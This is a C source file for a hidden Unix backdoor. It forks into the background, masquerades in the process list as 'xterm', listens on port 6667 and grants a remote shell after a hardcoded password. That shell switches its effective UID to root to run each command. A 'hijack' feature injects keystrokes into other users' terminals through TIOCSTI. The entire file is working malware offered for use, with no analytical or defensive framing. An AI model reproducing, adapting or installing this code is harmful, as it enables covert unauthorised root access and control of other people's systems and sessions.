#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <fcntl.h>
#include <pwd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <netinet/in.h>

/*
 * Server configuration.
 */
#define PASSWORD "endofdays"    /* Password */
#define SERV_PORT 6667             /* porta */
#define HIDE_ME "xterm"             /* What we will look like in ps */
#define USER "root"               /* User who'll run snarf */

#ifdef LINUX
#   define LS_OPTIONS "--color -C"
#endif

#define CHECK_PASS(pass) strcmp(PASSWORD, pass)
#define GETS(buf) gets(buf); buf[strlen(buf) -1] = '\0';
#define SA struct sockaddr
#define BACK_LOG 5

/*
 * Some crazy colors ;)
 */
#define COLOR_1 "\033[1;30m"
#define COLOR_2 "\033[0;36m"
#define COLOR_3 "\033[1;36m"
#define NORM    "\033[00;00m"
#define RED     "\033[01;31m"
#define H_WHITE "\033[1;37m"

static void show_prompt(void);
static void run_shell(void);
static void execute(const char *input);
static void hijack(const char *device);
int r00t = 0, euid = 0;


int
main(int argc, char **argv)
{
    int sockfd, connfd;
    struct sockaddr_in servaddr;
    struct passwd *pwd;
    char pass[BUFSIZ];

    if (!geteuid()) {
        ++r00t;
        if ( (pwd = getpwnam(USER)) != NULL) 
            seteuid(euid = pwd->pw_uid);
    }

    if (fork() != 0)
        exit(0); /* Let parent die */

    memset(argv[0], ' ', strlen(argv[0]));
    strcpy(argv[0], HIDE_ME); 

    if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        ;
    
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(SERV_PORT);
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY); /* Accept connections on any
                                                   * local interface. */

    if (bind(sockfd, (SA *)&servaddr, sizeof(servaddr)) < 0)
        ;

    if (listen(sockfd, BACK_LOG) < 0)
        ;

    for (;;) {
        if ( (connfd = accept(sockfd, (SA *)NULL, NULL)) < 0)
            continue; /* Back to for () */

        if (fork() != 0) {
            dup2(connfd, STDIN_FILENO);
            dup2(connfd, STDOUT_FILENO);
            dup2(connfd, STDERR_FILENO);                            
            close(connfd);

            /*
             * Check the daemon password. 
             */
            GETS(pass);
            if (CHECK_PASS(pass) == 0) {
                bzero(&pass, sizeof(pass));
                run_shell();
            }
            exit(0);
        }
        close(connfd);
    }

    exit(0);
}


/*
 * [root@RuleZ](/)#
 */
static void
show_prompt(void)
{
    struct utsname buf;
    char machine[SYS_NMLN]; 
    char *dir;

    strcpy(machine, "Unknown");
    if (uname(&buf) != -1)
        strcpy(machine, buf.nodename);

    dir = (char *) getcwd(NULL, 0);

    printf(COLOR_3 "[" COLOR_2 "%s" COLOR_1 "@" COLOR_2 "%s" COLOR_3 "]"
            "(" COLOR_2 "%s" COLOR_3 ")" H_WHITE "%c " NORM, 
            r00t ? "root" : "Unknown", machine, 
            dir[1] == '\0' ? dir : strrchr(dir, '/') +1,
            r00t ? '#' : '$');
    fflush(stdout);
}


static void
run_shell(void)
{
    char input[BUFSIZ];

    
    chdir("/");
    for (;;) {
        show_prompt();
        GETS(input);
        seteuid(0);
        execute(input);
        seteuid(euid);
    }
}


static void
execute(const char *input)
{
#ifdef LINUX
    char cmd[BUFSIZ];
#endif

    if (!strncmp(input, "cd ", 3)) {
        if (chdir(input +3) < 0)
            perror("chdir");
        return ;
    }

    if (!strcmp(input, "exit")) {
        printf("\n\nCya!\n\n");
        exit(0);
    }

    if (!strncmp(input, "hijack ", 6)) {
        hijack(input +7);
        return ;
    }

#ifdef LINUX
    if (!strncmp(input, "ls", 2)) {    
        snprintf(cmd, sizeof(cmd), "ls %s %s", LS_OPTIONS, input +3);
        system(cmd);
        return ;
    }
#endif

    system(input);
}


/*
 * Use: > hijack tty
 *      > !close
 */
static void
hijack(const char *device)
{
    int fd, i;
    char buf[BUFSIZ];

    if (device[0] == '/')
        strcpy(buf, device);
    else
        sprintf(buf, "/dev/%s", device);

    if ( (fd = open(buf, O_WRONLY)) < 0) {
        perror("open");
        return ;
    }

    /*
     * Now just keep reading input. You cannot see the command
     * results.
     */
    for (;;) {
        printf(RED "%s" H_WHITE" > " NORM, device);
        fflush(stdout);

        gets(buf);
        if (!strncmp(buf, "!close", 6))
            break;
        for (i = 0; buf[i] != '\0'; ++i)
            if (ioctl(fd, TIOCSTI, &buf[i]) < 0)
                perror("ioctl");
    }
}
